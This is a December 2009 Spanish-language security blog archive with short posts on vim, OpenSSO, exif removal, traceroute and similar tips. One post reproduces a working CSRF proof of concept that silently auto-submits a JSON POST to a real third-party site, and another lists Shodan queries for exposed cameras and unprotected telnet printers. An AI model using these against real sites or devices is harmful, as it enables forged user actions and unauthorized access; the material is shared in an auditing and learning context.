Urdiendo: diciembre 2009

miércoles, 30 de diciembre de 2009

INTECO-CERT videos graciosos

INTECO-CERT esta creando unos videos promocionales para darse a conocer, ya llevan 3 hechos y a cada cual más friki. Son para verlos :

Los virus atacan de nuevo:

Acaba con el SPAM:

Y el mejor, Phising:

Seguro que son trabajadores de la empresa xD

jueves, 24 de diciembre de 2009

CSRF mediante POST en Aplicaciones web AJAX

Buenas

Leyendo la lista webappsec de securityfocus.com alguien preguntaba cómo se podía hacer CSRF mediante POST. Cuando estube haciendo una auditoría web tuve problemas para realizar esto mismo, CSRF mediante POST en Aplicaciones web AJAX donde no se utiliza el típico formulario con los pares nombre = valor. La solución es crear un formulario con nombre vacío y valor, el JSON o el formato AJAX que la aplicación necesite.

http://blog.runxc.com/post/2009/07/06/CSRF-by-Example-How-to-do-it-How-to-defend-it.aspx

En la web ponen el siguiente ejemplo:

<html xmlns="http://www.w3.org/1999/xhtml">

<head id="Head1" runat="server">

<title>RunXc CSRF example</title>

<script type="text/javascript"

src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>

<script type="text/javascript">

$(document).ready(function() {

var kickit = location.search.substring(4);

$('#hidDiv').html(

'<form name="csrf" id="csrf" ' +

'action="http://dotnetkicks.com/services/ajax/ajaxservices.ashx" method="post">' +

' <input type="hidden" name="" value=' + "'" +

'{"id":1,"method":"kickStory","params":['+ kickit +',true]}' + "'" + '/>' +

' </form>');

document.getElementById("csrf").submit();

});

</script>

</head>

<body>
   <form id="form1" runat="server">
   <div>
   </div>
   </form>
   <div id="hidDiv" style="display:none;">
   </div>
</body>
</html>

Luego se podría incluir un iframe que lance ese código.

David

sábado, 19 de diciembre de 2009

Más recomendaciones

Pŕacticamente debería de ser una especie de mirror de cyberhades, porque últimamente tienen posts muy interesantes, ahí van los últimos:

Análisis del cliente botnet para iPhone. Añadido a la lista de lecturas
Debugging con GDB Ahora no estoy con estos menesteres, pero seguro que más adelante viene bien
Análisis de malware en PDF. Desde el blog de SANS . Prioridad alta!

PD: Abro una nueva etiqueta para aglutinar todas las referencias a todo el material destacable

David

viernes, 18 de diciembre de 2009

Vim, un mundo de buffers

Buenas

llevaba tiempo molesto porque cada vez que borraba una línea en vim, perdía lo último que había copiado. Al final, haciendo un poco de caso al editor me entero de que en vi todo funciona mediante 'buffers'. Cuando abres un archivo va un buffer, cuando abres otro con la pantalla divida va a otro, cuando copias/mueves/borras algo va a un buffer. Por eso cuando 1º copiaba y luego borraba se reemplaza el contenido del buffer. Para solucionarlo:

Hay que copiar guardando el contenido en un buffer con nombre mediante las comillas dobles, es decir, para copiar una línea existente hay que: "aVy

Con esa secuencia le indico a Vim que entre en modo visual y copie la linea actual a un buffer llamado a.

Por cierto, ahí va una chuleta de comandos de Vi

David

Configuración por defecto

Buenass

últimamente( y siempre) estoy en la línea de recomendar entradas de blogs que leo y me parecen interesantes, en este caso en el blog de equilibrioinestable tiene una entrada sobre la configuración por defecto donde expone entre otros que en los servidores apache incluyen el server-status y server-info proporcionando información de más.

David

xkill - mata procesos de forma gráfica

Buenas

leyendo el blog de cyberhades encuentro una entrada sobre formas de matar los procesos en Linux como son:

kill
pkill

y aparece una que no conocía:

xkill

Sirve para procesos con interfaz gráfica y consiste en matar el proceso pinchando en su ventana, cuando se ejecuta el comando el icono cambiará, en mi caso a una calavera.

David

jueves, 17 de diciembre de 2009

Información confidencial en la empresa

Buenas

os aconsejo una entrada del blog securityartwork.es acerca de el robo de información confidencial y su castigo.
http://www.securityartwork.es/2009/12/09/seguridad-organizativa-un-caso-practico/

¿Y tu empresa como está?

OpenSSO y el cliente SDK

Buenas

hace unos días tuve un problema con OpenSSO que por lo visto es común pero ¡no avisan!. El caso es que estaba configurando SAE para el intercambio de información entre un IDP y un SP. Tengo configurado en una máquina con Glassfish un OpenSSO que hace de IDP y en otra máquina un OpenSSO que hace de SP.

En la máquina SP además quería alojar la aplicación web pero al contener el cliente SDK de OpenSSO me daba una excepción java.lang.NoClassDefFoundError: com/sun/identity/sae/api/SecureAttrs , el problema es que esa clase se estaba definiendo dos veces una por el war del OpenSSO SP y otra con el cliente SDK, así que la solución fue crear 2 dominios en Glassfish para separarlos.

$> asadmin create-domain --adminport 5850 --user admin --domaindir /home/david/glassfishv2/ domain2

David

martes, 8 de diciembre de 2009

Metadatos en imagenes para Linux

Buenas,

necesitaba subir unas fotos a Interné y quería borrar los metadatos (exif) no porque contuviera imagenes raras sino porque muestran demasiados datos.

En este blog hay un post que lo describe muy bien.
Para borrar todos los metadatos usé:

$ exiv2 -d a imagen.jpg

David

jueves, 3 de diciembre de 2009

Shodan, un buscador rarito

Para que no quede en el olvido aquí dejo el enlace al buscado shodan http://shodan.surtri.com/, que permite hacer busquedas de equipos conectados a internet. Se basa en las cabeceras para devolver los resultados.

Mas info: http://www.securitybydefault.com/2009/11/shodan-un-buscador-diferente.html

Busquedas:

camera country:ES <-- Visto en Comentarios de SBD
http://shodan.surtri.com/?q=port%3A23++Password+is+not+set+ <-- Devuelve resultados de Impresoras HP. Visto en twitter de aramosf
iis 4.0
http://blog.48bits.com/?p=767

Muy interesante!!!

David

Traceroute by SecurityArtWork

Leyendo el blog securityartwork veo una entrada sobre hacer traceroute para cualquier sistema con un puerto disponible. De esta forma se saltan restricciones impuestas por firewall al utilizar el clásico traceroute por ICMP.

Se utiliza la herramienta Layer Four Traceroute(lft):

# lft -d 80 servidor_web

Más en Curiosidades del Traceroute - securityartwork

Hace ya tiempo hablé de traceroute con hping3

David